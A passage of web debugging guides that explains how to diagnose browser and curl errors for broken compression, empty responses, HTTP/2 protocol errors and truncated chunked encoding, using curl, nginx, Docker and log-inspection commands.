and [`mtr -T -P`](https://github.com/traviscross/mtr/blob/master/man/mtr.8.in) all send TCP SYNs to the port you choose. Flags differ between platforms, so check your installed tool's manual. Read the results carefully: a hop that shows `*` hasn't necessarily dropped your traffic, since many routers rate-limit or ignore probe replies while forwarding packets normally. What counts is whether the final destination answers, checked against your client and server captures. ## Related - [ERR_CONNECTION_REFUSED](https://howhttpworks.com/debug/err-connection-refused) — identify active rejection and missing listeners. - [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset) — diagnose a connection aborted with RST. - [DNS_PROBE_FINISHED_NXDOMAIN](https://howhttpworks.com/debug/dns-probe-finished-nxdomain) — separate DNS failure from connection failure. - [nginx 504 Gateway Timeout](https://howhttpworks.com/debug/nginx-504-gateway-timeout) — inspect a proxy's upstream timeout phase. - [HTTP/3 and QUIC](https://howhttpworks.com/guides/http3-and-quic) — a browser may use a UDP transport instead of this TCP path. --- # ERR_CONTENT_DECODING_FAILED: Fix Broken Compression > Fix ERR_CONTENT_DECODING_FAILED by comparing raw bytes with Content-Encoding, checking double compression, truncated gzip and cached encoding variants. Source: https://howhttpworks.com/debug/err-content-decoding-failed Last reviewed: 2026-10-05 Error messages this page covers: - `ERR_CONTENT_DECODING_FAILED` - `net::ERR_CONTENT_DECODING_FAILED` - `curl: (61) Error while processing content unencoding: incorrect header check` - `curl: (61) Unrecognized content encoding type. libcurl understands deflate, gzip content encodings.` - `curl: (61) Unrecognized content encoding type` - `Z_DATA_ERROR: incorrect header check` - `Not a gzipped file (b'pl')` - `inflate() failed:` > **TL;DR:** The browser got a response it couldn't decompress. Almost always the `Content-Encoding` header and the body disagree. Fetch the URL with curl without decoding and check the first bytes: if the header says gzip but the body doesn't start with `1f 8b`, fix whatever set that header. If it does start with `1f 8b`, run `gzip -t` to find a truncated or corrupt stream. ## What it means [Chromium defines `ERR_CONTENT_DECODING_FAILED` (-330)](https://chromium.googlesource.com/chromium/src/+/main/net/base/net_error_list.h) as a failure to decode the response body. It isn't an HTTP status, and the server may have sent a perfectly normal `200 OK` before the decoder choked on the body. [`Content-Encoding`](https://howhttpworks.com/headers/content-encoding) names the compression applied to the body, such as gzip or Brotli. That's a separate layer from HTTP/1.1 chunk framing. [RFC 9110 Section 8.4](https://www.rfc-editor.org/rfc/rfc9110.html#section-8.4) requires the header to list applied codings in application order; decoding reverses that order. We captured these errors from deliberately broken local servers with **curl 8.7.1 on macOS**, using `--compressed`. The first response labelled `plain\n` as gzip. The second sent `Content-Encoding: br` to a curl build without Brotli support: ```text curl: (61) Error while processing content unencoding: incorrect header check curl: (61) Unrecognized content encoding type. libcurl understands deflate, gzip content encodings. ``` The list of supported encodings depends on how curl was built. In [curl 8.22.0's source](https://github.com/curl/curl/blob/curl-8_22_0/lib/content_encoding.c), the unsupported-coding message is shorter. Output from other versions may vary slightly: ```text curl: (61) Unrecognized content encoding type ``` Decoding the same `plain\n` bytes directly produced `Z_DATA_ERROR: incorrect header check` with **Node 26.10.0** `gunzipSync`, and `Not a gzipped file (b'pl')` with **Python 3.14.8** `gzip.decompress`. Those come from the decoders themselves; Node and Python HTTP clients may wrap them in their own messages. If nginx itself is decompressing an upstream response, its [gunzip filter](https://github.com/nginx/nginx/blob/master/src/http/modules/ngx_http_gunzip_filter_module.c) logs the prefix `inflate() failed:` followed by numeric flush and error codes. ## Inspect the headers and bytes together Use the exact URL that fails, with the same method, cookies, and authentication. Without them you might be testing a login redirect, which may compress differently from the API response you care about. ```bash curl -sS -D gzip.headers -H 'Accept-Encoding: gzip' \ -o body.gz 'https://example.com/failing-path' xxd -l 16 body.gz gzip -t body.gz curl -sS --compressed -D decoded.headers \ -o decoded.body 'https://example.com/failing-path' ``` The first request advertises gzip but does **not** turn on curl's automatic decoding, so `body.gz` holds the bytes as sent (curl still strips HTTP/1.1 chunk framing). Run `gzip -t` only if the response actually declared gzip. Check the exit status and stderr of each command. For a quick look at the body as it came over the wire, add [`--raw`](https://curl.se/docs/manpage.html#--raw): ```bash curl -s -H 'Accept-Encoding: gzip' --raw \ 'https://example.com/failing-path' | xxd | head ``` **`--raw` keeps the transfer coding too.** A chunked HTTP/1.1 response starts with an ASCII chunk size and a CRLF before the compressed bytes, so `1f 8b` may not be at offset zero. Validate against the saved, dechunked `body.gz` instead. [RFC 1952](https://www.rfc-editor.org/rfc/rfc1952.html#section-2.3.1) defines those two gzip magic bytes. This preview only shows the start of the body; `head` can cut the download short, so it can't tell you whether the stream is complete. ## Fix it, in diagnostic order ### 1. The header says gzip but the body is plain text Look at `gzip.headers` and the `xxd -l 16 body.gz` output from the capture above. Plain HTML or JSON under a gzip header is your mismatch. Common causes: the app sets `Content-Encoding` by hand, a proxy decompresses the body but leaves the header, or an error handler swaps in a new body after the compression headers were set. Fix it where the header is generated: remove the false header, or actually compress the body. Stripping `Content-Encoding` while the bytes are still compressed just creates the opposite mismatch. ### 2. Two layers disagree about compression Compare origin and public responses with the same gzip-only request: ```bash # Use the real origin IP; --resolve preserves the hostname and TLS SNI. curl -sS --resolve example.com:443:192.0.2.10 \ -H 'Accept-Encoding: gzip' -D origin.headers \ -o origin.gz 'https://example.com/failing-path' gzip -t origin.gz gzip -dc body.gz > once-decoded.body xxd -l 16 once-decoded.body ``` If decompressing once leaves another gzip header, the body is gzipped twice. That's legal if the response declares both layers as `Content-Encoding: gzip, gzip`. With only one layer declared, the browser decodes once and hands still-compressed bytes to the HTML or JSON parser. You'll often see garbage or a parse error then, **not necessarily** Chrome's decoding error. Check the app, proxy, and CDN one at a time. [Cloudflare decompresses and recompresses](https://developers.cloudflare.com/speed/optimization/content/compression/) for some transformations, which is different from stacking a second layer. And nginx's [gzip filter skips responses that already have a nonempty Content-Encoding](https://github.com/nginx/nginx/blob/master/src/http/modules/ngx_http_gzip_filter_module.c), so having two compressors switched on doesn't mean both are running on the same response. For PHP, find any output handlers and check the configuration the web SAPI actually loads: ```bash grep -rnE 'ob_gzhandler|Content-Encoding|gzencode' /path/to/app ``` PHP's [manual forbids combining `ob_gzhandler` with `zlib.output_compression`](https://www.php.net/manual/en/function.ob-gzhandler.php). If nginx will own compression, remove `ob_start('ob_gzhandler')` from the app and use this PHP configuration: ```ini zlib.output_compression = Off ``` An nginx configuration for an HTTP upstream that should send uncompressed responses: ```nginx location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Accept-Encoding identity; gzip on; gzip_types application/json text/css application/javascript; gzip_vary on; } ``` nginx already includes `text/html` in its [gzip types](https://nginx.org/en/docs/http/ngx_http_gzip_module.html#gzip_types). Sending `identity` upstream asks the app for unencoded output, and the app has to honor it. Use `identity` rather than `proxy_set_header Accept-Encoding ""`: [nginx drops fields whose configured value is empty](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_set_header), and a missing Accept-Encoding means any coding is acceptable. This `proxy_pass` example doesn't cover PHP-FPM, so check that pool's settings separately. Run `nginx -t` before reloading. ### 3. Brotli or zstd was selected outside the client's accepted set ```bash curl --version curl -v --compressed -H 'Accept-Encoding: gzip' \ -o /dev/null 'https://example.com/failing-path' curl -v -H 'Accept-Encoding: identity' \ -o /dev/null 'https://example.com/failing-path' ``` Compare the outgoing `Accept-Encoding` with the incoming `Content-Encoding`. If a gzip-only request gets `br` or `zstd` back, something in negotiation or cache selection is wrong, and a client without that decoder has no way to read the body. Fix the selection at whichever layer made it, rather than hard-coding a different response header. Make sure the request actually sends `Accept-Encoding` when you test this. An **absent** header proves nothing here: [RFC 9110 Section 12.5.3](https://www.rfc-editor.org/rfc/rfc9110.html#section-12.5.3) treats absence as accepting any coding. An explicitly empty field requests no coding. `identity` requests an unencoded representation. ### 4. The compressed stream was truncated Run `gzip -t body.gz` on the full capture. A stream can start with a perfect `1f 8b` and still be missing its end or contain invalid compressed data. Compare with `gzip -t origin.gz` and any curl transfer errors, then check app exceptions and proxy logs around the time of the failure. The fix belongs in whatever cut the stream off, whether that's the producer or the connection; the decompressor is doing its job. For missing HTTP/1.1 termination, follow [incomplete chunked encoding](https://howhttpworks.com/debug/err-incomplete-chunked-encoding). ### 5. A cache mixed encoding variants Fetch the **same URL** with alternating encodings. Keep the URL identical, with no cache-busting query, so both requests hit the same cache entry: ```bash curl -sS -H 'Accept-Encoding: gzip' -D cached-gzip.headers \ -o cached.gz 'https://example.com/failing-path' curl -sS -H 'Accept-Encoding: identity' -D cached-identity.headers \ -o cached-identity.body 'https://example.com/failing-path' ``` Compare the bodies, `Content-Encoding`, `Vary`, and any cache diagnostics your provider documents. [RFC 9111 Section 4.1](https://www.rfc-editor.org/rfc/rfc9111.html#section-4.1) uses `Vary` to select cached responses by request fields. Send `Vary: Accept-Encoding` on any response whose encoding depends on the request, keeping any other Vary fields; `gzip_vary on` does this for nginx's gzip filter. Fix the cache's variant handling and purge the affected entries. Vary won't repair a body that's already corrupt. And if the reused gzip is valid and the client supports it, a missing Vary isn't the cause of your decoding error. ## Related - [HTTP compression](https://howhttpworks.com/guides/http-compression) - [Content-Encoding](https://howhttpworks.com/headers/content-encoding) - [Vary](https://howhttpworks.com/headers/vary) - [Incomplete chunked encoding](https://howhttpworks.com/debug/err-incomplete-chunked-encoding) --- # ERR_EMPTY_RESPONSE: Find Who Closed the Connection > Debug ERR_EMPTY_RESPONSE and curl empty replies by checking app crashes, wrong ports, nginx 444, Docker listeners, keep-alive races and request framing. Source: https://howhttpworks.com/debug/err-empty-response Last reviewed: 2026-10-05 Error messages this page covers: - `ERR_EMPTY_RESPONSE` - `didn’t send any data.` - `curl: (52) Empty reply from server` - `Error: socket hang up` - `ECONNRESET` - `Remote end closed connection without response` - `upstream prematurely closed connection while reading response header from upstream` > **TL;DR:** Run `curl -v --http1.1 https://example.com/failing-path` and look for a connection followed by a sent request (`>`) but no response status line (`< HTTP/...`). Repeat directly against the app from the proxy host. If only the public route fails, inspect the proxy's routing and drop rules; if the app also closes without replying, correlate its logs and restart/OOM evidence with the request time. ## What it means [Chromium defines `EMPTY_RESPONSE`](https://github.com/chromium/chromium/blob/main/net/base/net_error_list.h) as a connection closed without sending data. Its [English error page](https://github.com/chromium/chromium/blob/main/components/error_page_strings.grdp) says the hostname **didn’t send any data.** curl's [HTTP completion check](https://github.com/curl/curl/blob/master/lib/http.c) reports **Empty reply from server** when no response headers or body arrived. For a direct HTTP/1.1 request, the server accepted the TCP connection and closed it without sending HTTP response bytes. With HTTPS, TLS handshake bytes may already have passed; “no data” here means no HTTP response, not literally no packets. If a proxy accepted the connection, the message does not prove the origin application received the request. Illustrative curl output, verified against its source: ```text curl: (52) Empty reply from server ``` This is not an HTTP status code. Under [HTTP/1.1 framing](https://www.rfc-editor.org/rfc/rfc9112#section-2.1), even a response without a body still has a status line and header section. A `204 No Content` or `200 OK` with `Content-Length: 0` is a valid response, not this error. A refused TCP connection belongs to [ERR_CONNECTION_REFUSED](https://howhttpworks.com/debug/err-connection-refused); a reset can instead produce [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset) or a curl receive error. [Node's HTTP client](https://nodejs.org/api/http.html) can emit `Error: socket hang up` with code `ECONNRESET` on premature closure. Those strings are broader than an empty reply and can also follow a locally aborted request. Python's [`http.client.RemoteDisconnected`](https://docs.python.org/3/library/http.client.html#http.client.RemoteDisconnected) corresponds to reading no response data; its [source message](https://github.com/python/cpython/blob/main/Lib/http/client.py) is `Remote end closed connection without response`. ## Establish where the reply disappears Use the actual failing path, method and Host. The following examples use GET; substitute the original request when it is safe to repeat: ```bash curl -v --http1.1 --max-time 15 https://example.com/failing-path -o /dev/null # From the proxy host, if the app is an HTTP listener on port 3000: curl --noproxy '*' -v --http1.1 --max-time 15 \ -H 'Host: example.com' http://127.0.0.1:3000/failing-path -o /dev/null ``` [`--http1.1`](https://curl.se/docs/manpage.html#--http1.1) removes HTTP/2 negotiation from this comparison. If the forced HTTP/1.1 request works while the original protocol fails, investigate that protocol path rather than declaring the entire endpoint healthy. Verbose output can contain authorization headers and cookies; redact it before sharing. For a cleartext listener, [`nc`](https://man.openbsd.org/nc) lets you type a minimal request: ```bash nc -v example.com 80 ``` Type these lines and press Enter twice after the last header: ```http GET / HTTP/1.1 Host: example.com Connection: close ``` Interactive line endings depend on the terminal. For an exact request with CRLF terminators and a final blank line, use: ```bash printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' \ | nc -w 5 example.com 80 ``` `nc` connecting proves only that something accepted TCP. Use curl for HTTPS; plain `nc` does not perform a TLS handshake. A timeout waiting for a reply is also different from immediate closure. ## Find and fix the cause Check app health and routing first, then deliberate drops and reuse. ### 1. The app crashes or is killed before writing If the app accepts a request and exits before writing headers, the client may see an empty reply or a reset. Look for an exception, worker exit or memory kill at the exact request time: ```bash docker logs --timestamps --since 10m web docker inspect --format \ 'OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}} RestartCount={{.RestartCount}}' web # Linux host or VM: sudo journalctl -k --since '10 minutes ago' | grep -iE 'oom|out of memory|killed process' sudo journalctl -u my-app --since '10 minutes ago' ``` [Docker documents the kernel OOM killer](https://docs.docker.com/engine/containers/resource_constraints/): it can kill container processes under memory pressure. Exit code 137 alone is not proof of OOM; inspect the OOM state and host evidence. A restarted container's current state is not a complete incident history. Run the kernel-log check on the Linux host or VM running the containers. Fix the exception or memory pressure shown by the evidence. If a legitimate workload exceeds its measured allocation, change the container's `--memory` limit in the deployment configuration and investigate growing memory use. Do not disable the OOM killer as an empty-response fix. For deploy-time failures, stop routing new requests to a terminating worker and allow in-flight requests to finish. ### 2. The proxy or client uses the wrong protocol or port Probe the listener using the protocol it is configured to speak: ```bash curl --noproxy '*' -v --http1.1 http://127.0.0.1:3000/ curl --noproxy '*' -v --http1.1 https://example.com:443/ sudo nginx -T 2>&1 | grep -E 'listen|server_name|proxy_pass|upstream' ``` **HTTP sent to a TLS port:** the listener can close without an HTTP reply, reset the connection, or send an error. nginx specifically [logs `client sent plain HTTP request to HTTPS port`](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_request.c) and [maps its internal error to 400](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_special_response.c). So `http://example.com:443/` is not guaranteed to produce curl 52. Use `https://example.com/` for that listener. **TLS sent to a plain HTTP port:** the client starts with TLS handshake bytes, not an HTTP request. A cleartext HTTP listener cannot complete that handshake; the result is a TLS negotiation error or connection closure, not a successful HTTPS response. This is a candidate for [ERR_SSL_PROTOCOL_ERROR](https://howhttpworks.com/debug/err-ssl-protocol-error), not evidence that the response body is empty. For an HTTP app on port 3000 behind nginx, a concrete routing configuration is: ```nginx location / { proxy_pass http://127.0.0.1:3000; } ``` Use `https://` in `proxy_pass` only when the origin listener actually speaks TLS. If the app lives in another container, `127.0.0.1` points to nginx's container; use the app's service name and container port instead. Validate with `nginx -t` before reloading. A missing upstream does not ordinarily explain a silent nginx response. Its [upstream failure handling](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_upstream.c) normally produces a gateway error if no retry succeeds. The verified log fragment `upstream prematurely closed connection while reading response header from upstream` identifies an app-side closure; the browser may receive [502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway) from nginx. If the browser receives no response either, inspect the client-facing hop separately. ### 3. A Docker port is published, but nothing listens inside [Publishing a port](https://docs.docker.com/engine/network/port-publishing/) forwards traffic to a container port. It does not start the application or make a loopback-only listener reachable: ```bash docker port web docker exec web sh -c 'ss -ltnp' docker logs --timestamps --since 10m web ``` `ss` must be installed in the image; otherwise inspect the listener with tooling available in that container or its network namespace. If the app listens on port 3000, an example host mapping is: ```bash docker run --name web -p 127.0.0.1:8080:3000 your-image ``` Bind the app to `0.0.0.0:3000` inside the container. For a [Node server listening on an explicit address](https://nodejs.org/api/net.html#serverlistenport-host-backlog-callback), that can be `server.listen(3000, '0.0.0.0')`. Test the host endpoint with `curl -v http://127.0.0.1:8080/`. A port forwarded to no listener can manifest as refusal, reset or an empty reply depending on the forwarding implementation. Diagnose the mapping and listener rather than relying on a particular error string. ### 4. nginx deliberately drops the request with return 444 [`return 444`](https://nginx.org/en/docs/http/ngx_http_rewrite_module.html#return) closes the connection without response headers. A default virtual host or security rule may select it when Host or another request condition fails: ```bash sudo nginx -T 2>&1 | grep -nE 'return[[:space:]]+444|default_server|server_name' sudo tail -n 100 /var/log/nginx/access.log sudo tail -n 100 /var/log/nginx/error.log ``` Replay the intended hostname, not just the server IP. For an HTTP listener: ```bash curl --noproxy '*' -v -H 'Host: example.com' http://127.0.0.1:80/ ``` An unmatched request reaching a `return 444;` block is expected to receive no HTTP response. Correct the request's Host or the legitimate site's `server_name` and routing. If a named route should reject with an explicit response, `return 403;` sends a status instead. Do not remove a deliberate default-host drop rule without identifying why the legitimate request reached it. See [nginx 444](https://howhttpworks.com/status-codes/444). ### 5. A pooled connection is reused as the server closes it [RFC 9112 Section 9.5](https://www.rfc-editor.org/rfc/rfc9112#section-9.5) describes this race: the server sees an idle connection while the client has begun another request. The resulting close or reset can happen before response headers arrive. [Node documents it through `request.reusedSocket`](https://nodejs.org/api/http.html#requestreusedsocket). Compare repeated URLs in one curl process with separate fresh processes: ```bash curl -v --http1.1 -o /dev/null http://example.com/ -o /dev/null http://example.com/ curl -v --http1.1 -H 'Connection: close' http://example.com/ -o /dev/null ``` The first command permits reuse; the second starts a new connection and requests closure afterward. One successful run does not rule out an idle-time race. Reproduce the failing idle interval in the original client and log whether its socket was reused. With Node's core HTTP client, `http.get(url, { agent: false }, callback)` is a focused comparison without a pooled agent. Fix the pool's idle lifetime relative to the server/proxy timeout and handle stale sockets. An empty reply does not prove the request was unprocessed. [RFC 9110's retry rules](https://www.rfc-editor.org/rfc/rfc9110#section-9.2.2) distinguish idempotent requests from operations that need application knowledge or deduplication before retrying. ### 6. Request framing triggers desync protection If a simple GET works but a particular upload or generated request fails, compare its framing at each hop. Conflicting `Content-Length` and `Transfer-Encoding`, malformed lengths, or inconsistent parsing can trigger rejection and connection teardown. [RFC 9112 Section 11.2](https://www.rfc-editor.org/rfc/rfc9112#section-11.2) explains request smuggling; specific framing rules often require an error response followed by closure, not silent dropping. Start with a clean control request: ```bash curl -v --http1.1 https://example.com/upload -o /dev/null # On nginx, correlate errors with the original failing request: sudo tail -n 200 /var/log/nginx/error.log | grep -iE 'invalid|content.length|transfer.encoding' ``` Inspect the original client's emitted headers and the proxy/security logs at the same time. For [AWS ALB desync mitigation](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/edit-load-balancer-attributes.html#desync-mitigation-mode), check the access-log classification and reason: severe blocked requests receive **400**, and certain ambiguous requests are routed with connections then closed. Connection teardown alone does not establish an empty reply or a smuggling attempt. Fix the component emitting inconsistent framing and let the HTTP library calculate message lengths. Keep desync protections enabled; turning them off to suppress a connection error leaves the malformed request unresolved. ## Verify the repair Repeat the exact failing request through the public endpoint and directly at the app. Confirm the expected HTTP status and headers, then repeat under the condition that triggered the failure: a deploy, memory-heavy route or idle connection reuse. Correlate proxy and app logs so a successful health check cannot conceal a broken authenticated or upload path. ## Related - [nginx 444](https://howhttpworks.com/status-codes/444): intentional connection closure without headers. - [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset): the peer resets rather than completing the exchange. - [ERR_CONNECTION_REFUSED](https://howhttpworks.com/debug/err-connection-refused): no accepted connection on the target address and port. - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway): the proxy reports an upstream failure with an HTTP response. --- # ERR_HTTP2_PROTOCOL_ERROR: Find the Broken Response > Debug Chrome ERR_HTTP2_PROTOCOL_ERROR and curl (92): compare HTTP versions, inspect invalid headers and body lengths, then trace the failing hop. Source: https://howhttpworks.com/debug/err-http2-protocol-error Last reviewed: 2026-10-05 Error messages this page covers: - `net::ERR_HTTP2_PROTOCOL_ERROR` - `ERR_HTTP2_PROTOCOL_ERROR` - `curl: (92) HTTP/2 stream 1 was not closed cleanly: PROTOCOL_ERROR (err 1)` > **TL;DR:** Something on the path broke HTTP/2 rules and the stream was reset. The usual culprits are HTTP/1.1 headers like `Connection` leaking into HTTP/2, an invalid header name or value, or a `Content-Length` that doesn't match the body (often after gzip). Reproduce the exact URL with `curl -v --http2` and `curl -v --http1.1`; if only HTTP/2 fails, read the headers and stream reset with `nghttp -nv` or a Chrome NetLog, then check proxy disk space and any TLS inspection on the path. ## What it means Chrome's `net::ERR_HTTP2_PROTOCOL_ERROR` is a network error, not an HTTP status. You may see `200` next to it in the console: the headers arrived fine and the failure came later, in the body. Capture the failing request rather than guessing from the page. curl reports the same failure like this (the stream number will vary): ```text curl: (92) HTTP/2 stream 1 was not closed cleanly: PROTOCOL_ERROR (err 1) ``` That wording comes from [curl's 8.10.1 source](https://github.com/curl/curl/blob/curl-8_10_1/lib/http2.c); other releases phrase it differently. The two numbers come from different places: [`92` is curl's error code](https://curl.se/libcurl/c/libcurl-errors.html) for an HTTP/2 stream failure, and `err 1` is HTTP/2's PROTOCOL_ERROR code. Neither is an HTTP status. ## Confirm which protocol fails Test the exact failing path, query string included. The home page loading fine tells you nothing about a broken download or login callback. ```bash curl --version curl -v --http2 -o /dev/null 'https://example.com/failing-path' curl -v --http1.1 -o /dev/null 'https://example.com/failing-path' nghttp -nv 'https://example.com/failing-path' ``` Make sure `curl --version` lists HTTP2, and check the verbose output to confirm the first request really negotiated `h2`, since [`--http2`](https://curl.se/docs/manpage.html#--http2) quietly falls back to HTTP/1.1. Send the same cookies, auth and headers as the browser. Avoid `curl -I`: a HEAD response has no body, and the body is often where the problem is. If both versions fail, you're looking at an ordinary origin or proxy error; start there. If HTTP/1.1 works and HTTP/2 fails, you know the problem depends on the protocol, but you still don't know which hop causes it. If you can reach the origin directly, repeat the test there: ```bash # Replace the documentation IP with the actual origin IP. curl -v --http2 --resolve example.com:443:203.0.113.10 \ -o /dev/null 'https://example.com/failing-path' ``` `--resolve` sends the request to that IP while keeping the real hostname for Host, SNI and certificate verification. An HTTP/1.1-only origin can't reproduce the edge's HTTP/2 failure, but check its headers and body anyway; the bad header or length often starts there. ## Fix the response producer ### HTTP/1.1 connection headers leaked into HTTP/2 HTTP/2 forbids `connection`, `keep-alive`, `proxy-connection`, `transfer-encoding` and `upgrade`. A gateway translating from HTTP/1.x has to strip them, along with any header that `Connection` lists. The one exception is `te: trailers`, which is allowed on requests. See [RFC 9113 §8.2.2](https://www.rfc-editor.org/rfc/rfc9113#section-8.2.2). Look at middleware that copies upstream headers wholesale, and at any custom response-header rules in your proxy. Fix the translation layer itself, and leave these headers alone on the HTTP/1.1 leg, where they still mean something. A common offender is an app that adds `Connection: keep-alive` as an "optimization"; it has no place on an HTTP/2 response. ### Invalid header names or values In HTTP/2, header names must be lowercase. Values can't contain CR, LF or NUL, and can't start or end with a space or tab ([§8.2.1](https://www.rfc-editor.org/rfc/rfc9113#section-8.2.1)). An empty name fails HTTP's field-name grammar ([RFC 9110 §5.1](https://www.rfc-editor.org/rfc/rfc9110#section-5.1)); an empty value is fine. The bad header is usually one built at runtime: copied user input, debug metadata, or a redirect `Location`. Watch out for a false lead here. Uppercase names are legal on an HTTP/1.1 origin, and gateways normally lowercase them, so seeing `Content-Type` at the origin doesn't mean uppercase bytes reached the HTTP/2 leg. Check what the gateway actually encoded, or the detail in the client's rejection. ### Content-Length disagrees with the body When a response has content, `content-length` must equal the number of bytes sent in DATA frames. HEAD and 304 responses are the exception: they carry the length of a body they don't send, so an empty body there isn't a mismatch ([RFC 9113 §8.1.1](https://www.rfc-editor.org/rfc/rfc9113#section-8.1.1)). Compression and response rewriting are the usual causes. [The length counts the encoded bytes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Length), so a length computed before gzip is wrong once gzip runs. Have whichever layer produces the final body set the length, or leave it out when the final size isn't known yet. To check, download the raw bytes; leave off `--compressed`, because it decodes them: ```bash curl -sS --http2 -H 'Accept-Encoding: gzip' \ -D response.headers -o response.body 'https://example.com/failing-path' wc -c < response.body ``` Compare that number with `content-length` in `response.headers`. Note curl's exit status and error too, since a failed transfer leaves a partial file that will look short. ## Check proxy storage and TLS inspection **A buffered response can fail after its headers have gone out.** When an upstream response doesn't fit in memory, nginx writes the overflow to disk under [`proxy_temp_path`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_temp_path). If that write fails, the [event pipe](https://github.com/nginx/nginx/blob/master/src/event/ngx_event_pipe.c) aborts and the [upstream handler](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_upstream.c) terminates the request mid-transfer. The HTTP/2 error code the client reports varies, so treat this as a cause to check, not a match on the error text. Find the failed request in nginx's error log. If you see `No space left on device` for a temporary file, check the filesystem that holds the temp path, which may not be the one with your document root: ```bash nginx -T 2>&1 | grep -E 'proxy_temp_path|proxy_buffering' # Substitute the actual path from configuration or the error log. df -h /var/lib/nginx/proxy df -i /var/lib/nginx/proxy ``` Free up space (or inodes) and replay the request. Turning `proxy_buffering off` changes how every response streams; fix the disk instead of reaching for it. **Try a path without HTTPS inspection.** A device that decrypts TLS sits in the middle of the HTTP/2 exchange, so its bugs surface as protocol errors. [Cisco's release notes](https://www.cisco.com/c/en/us/td/docs/security/secure-firewall/release-notes/threat-defense/760/threat-defense-release-notes-76.html) list CSCwi34730, a TLS-decryption defect that produced this browser error. Endpoint antivirus can inspect HTTPS too; [ESET documents its SSL/TLS filtering](https://support.eset.com/en/kb3126-disable-ssl-filtering-in-eset-windows-products), for example. Load the same URL from another machine on another network. On the affected machine, look at the certificate issuer: an enterprise or security-product CA means something is inspecting traffic. If the failure follows the inspected path, ask its administrator for a scoped bypass test and check the appliance or endpoint logs. Remove the bypass once you've found the faulty component. ## Capture the rejection in Chrome 1. Open `chrome://net-export` and click **Start Logging To Disk**. 2. Keep that tab open. Reproduce the failure in another tab, then click **Stop Logging**. 3. Load the JSON in the [NetLog viewer](https://netlog-viewer.appspot.com/). [Chromium's capture guide](https://www.chromium.org/for-testers/providing-network-details/) links the viewer's source for local use. 4. Find the failing URL and its HTTP/2 session. Search for `HTTP2_SESSION_RECV_INVALID_HEADER`, `HTTP2_STREAM_ERROR`, `RST_STREAM` and `GOAWAY`, and note the direction, stream ID and error detail for each. NetLogs can include cookies and other sensitive request data, especially if you capture raw bytes, so keep them private. When Chrome receives a reset, that tells you which HTTP/2 peer sent it: the hop directly in front of the browser. The bad response may have started further upstream. [`nghttp -nv`](https://nghttp2.org/documentation/nghttp.1.html) prints every frame and header and throws away the response body. Save its output alongside timestamped server logs. One capture beats clearing the browser cache over and over. ## Cloudflare-specific checks [Cloudflare's HTTP/2 guide](https://developers.cloudflare.com/speed/optimization/protocol/http2/) names three causes: malformed origin headers, gzip applied without updating `Content-Length`, and broken gzip content. It recommends inspecting the origin directly and reviewing origin compression. One diagnostic it documents is turning off compression at the origin and letting Cloudflare compress instead. Request the exact URL through Cloudflare and directly at the origin, and match both against the origin logs. Change one compression layer at a time and rerun both protocol tests. If the failure only shows up through Cloudflare, this comparison tells you whether the origin or the edge is responsible. ## Related - [HTTP/1.1 vs HTTP/2](https://howhttpworks.com/compare/http1-vs-http2): what changes between the two protocol tests. - [Connection](https://howhttpworks.com/headers/connection): headers that a gateway must remove during translation. - [Content-Length](https://howhttpworks.com/headers/content-length): the body size the receiver is promised. - [ERR_CONNECTION_RESET](https://howhttpworks.com/debug/err-connection-reset): investigate a TCP reset when the transport itself is torn down. --- # ERR_INCOMPLETE_CHUNKED_ENCODING: Fix Truncated Responses > Fix ERR_INCOMPLETE_CHUNKED_ENCODING by finding missing final chunks, upstream crashes, nginx read timeouts, buffering failures and stalled SSE streams. Source: https://howhttpworks.com/debug/err-incomplete-chunked-encoding Last reviewed: 2026-10-05 Error messages this page covers: - `net::ERR_INCOMPLETE_CHUNKED_ENCODING` - `ERR_INCOMPLETE_CHUNKED_ENCODING` - `curl: (18) transfer closed with outstanding read data remaining` - `ECONNRESET: aborted` - `IncompleteRead(5 bytes read)` - `upstream prematurely closed connection` - `upstream timed out` > **TL;DR:** The connection closed before the response body finished. In HTTP/1.1 chunked encoding, a body is complete only when the final zero-length chunk arrives, so you can see `200 OK` and still get this error. Run `curl --http1.1 -v --no-buffer` against the failing route, then again directly against the upstream. If only the public route cuts off, look at proxy timeouts and buffering. If both cut off, the producer is crashing or stalling: read its logs. ## What it means [Chromium's `ERR_INCOMPLETE_CHUNKED_ENCODING` (-355)](https://chromium.googlesource.com/chromium/src/+/main/net/base/net_error_list.h) fires when the connection closes before the terminating zero-length chunk arrives. HTTP/1.1 [chunked transfer coding](https://howhttpworks.com/headers/transfer-encoding) sends the body as a series of chunks, each a hexadecimal byte count followed by that many bytes of data. [RFC 9112 Sections 7.1 and 8](https://www.rfc-editor.org/rfc/rfc9112.html#section-7.1) define how the stream ends and say a response that stops early must be recorded as incomplete. Wire bodies and outputs on this page are trimmed examples. Here `\r\n` stands in for CRLF; the body carries the five bytes `hello` and ends properly: ```text 5\r\nhello\r\n0\r\n\r\n ``` If the server closes after `5\r\nhello\r\n`, the response is incomplete. `Connection: close` doesn't stand in for the final chunk. Trailers, if any, go after the zero-size chunk and end with a blank line. Serving that cut-off response from a loopback test server, **curl 8.7.1 on macOS** printed: ```text curl: (18) transfer closed with outstanding read data remaining ``` That exact wording comes from the chunk decoder in [curl 8.7.1](https://github.com/curl/curl/blob/curl-8_7_1/lib/http_chunks.c), and it's still there in [8.22.0](https://github.com/curl/curl/blob/curl-8_22_0/lib/http_chunks.c). Exit code 18 on its own is broader, though: it means any partial transfer, chunked or not. The same test server made **Node 26.10.0** `node:http` emit `ECONNRESET: aborted` on the response's error event, and made **Python 3.14.8** `http.client` raise `IncompleteRead(5 bytes read)` when reading the whole body. Python's byte count depends on how much arrived. Node uses the same message for other early closes, so check the HTTP framing before you blame a missing chunk. HTTP/2 has its own framing and 